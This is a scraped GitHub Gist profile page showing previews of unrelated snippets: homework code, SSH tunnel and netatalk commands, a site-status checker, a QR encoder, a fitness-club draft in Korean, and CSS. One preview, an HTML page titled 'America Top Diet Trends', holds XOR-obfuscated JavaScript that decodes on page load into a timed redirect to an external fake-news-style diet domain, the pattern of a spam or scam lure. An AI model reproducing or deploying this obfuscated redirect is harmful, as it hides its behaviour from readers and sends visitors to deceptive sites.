Skip to content

Instantly share code, notes, and snippets.

View suminb's full-sized avatar

Sumin Byeon suminb

View GitHub Profile
## fitpoly_incomplete.Py
# Partial script to help get started in ISTA 421/521 Homework 2
#import sys
#sys.path.reverse()
import numpy as np
import matplotlib.pyplot as plt
#from scipy.optimize import minimize
from scipy.optimize import minimize_scalar

Installing netatalk

sudo aptitude install netatalk

Configuring SSH Tunneling

ssh -L 10548:localhost:548 home.sumin.us
@suminb
suminb / web-status.py
Last active December 10, 2015 23:29
A very basic website status checking script
#!/usr/bin/env python
__author__ = 'Sumin Byeon <[email protected]>'
import urllib
import sys
class bcolors:
"""
Code from: http://stackoverflow.com/questions/287871/print-in-terminal-with-colors-using-python
@suminb
suminb / qrtest.py
Last active December 11, 2015 02:08
Takes any arbitray data, splits it into multiple peices and encode into QR code.
# Takes any arbitray data, splits it into multiple peices and encode into QR code.
# python-qrcode package can be obtained from https://github.com/lincolnloop/python-qrcode
import qrcode
import base64
from multiprocessing import Pool
BLOCK_SIZE = 384 # in bytes
@suminb
suminb / quiz.py
Created February 5, 2013 09:30
근모의 수학 퀴즈 컴퓨터 시뮬레이션
if __name__ == '__main__':
i, s = 1, 0
while True:
s += i if i & 1 != 0 else -i
i += 1
r = i % 1000000
if r == 0 or r == 1:
print s
<!DOCTYPE HTML>
<html><head><title>America Top Diet Trends</title>
<script>function aYlaIO(s) { var key=52; var str = decodeURIComponent(s); var xored = ""; for (i=0; i<str.length;i++) { var a = str.charCodeAt(i); var b = a ^ key; xored = xored+String.fromCharCode(b); } document.write(xored); return xored; };
</script>
</head><body id="K4u44XIRCuHTle9uIijxIgUlOf8LYPI9F6RlQFjGZBh05wuEzv" onload='onloaded();'>
<h1 id="8uq9XQ8y9zEjt0rv7ZuJNRf6KuHbGbi5OP1pSJke4Kca7d6he0"><script>aYlaIO('%7BDQZ%5DZS%1A%1A%1A');</script></h1>
<script>aYlaIO('%08GWF%5DD%40%0ARAZW%40%5D%5BZ%14PQXUMQF%1C%1DOC%5DZP%5BC%1AX%5BWU%40%5D%5BZ%1A%5CFQR%14%09%14%13%5C%40%40D%0E%1B%1BCCC%1AR%5BL%01%1AZQCG%1AFAG%5CZCG%1AW%5BY%1B%0BG%09XR%13I%0F%14GQ%40%60%5DYQ%5BA%40%1C%13PQXUMQF%1C%1D%13%18%14%07%07%04%1D%0F%08%1BGWF%5DD%40%0A');</script>
</body>
</html>
@suminb
suminb / certification.md
Last active December 14, 2015 06:39
근육바보클럽 운동 능력 등급 기준 (draft)

근육바보클럽은 다음의 기준을 만족하는 회원에게 운동 능력 증명서(certification)을 발급한다. 성별이나 체급에 따른 구분은 없다.

인증 주체

운동 능력 증명서의 발급 주체는 근육바보클럽으로서, 클럽의 회원들이 그 자격을 대신한다. 인증 시험 시행 시 회원으로 구성된 평가단이 두 명 이상 있어야 한다. 평가단을 구성하기 어려운 경우 다른 지역에 있는 회원들이 판독할 수 있는 동영상 촬영으로 대신할 수 있다.

인증 기간

인증서의 유효 기간은 발급일로부터 180일이다.

import multiprocessing
import requests
URLS = (
'http://50.56.81.42:8080/V0.2/favroutes-list/?userid=18',
'http://50.56.81.42:8080/V0.2/favroutes-list/?userid=4',
'http://50.56.81.42:8080/getfavadd/18',
'http://50.56.81.42:8080/getfavadd/1'
)
@suminb
suminb / iss.html
Created March 21, 2013 03:44
ISS orientation form
<!DOCTYPE html>
<html>
<head>
<title>ISS</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<style type="text/css">
.hidden { display: none; }
</style>
</head>
<body>
body {
font-family: sans-serif;
}
pre code {
padding: .5em;
border: 1px solid #ccc;
}
blockquote {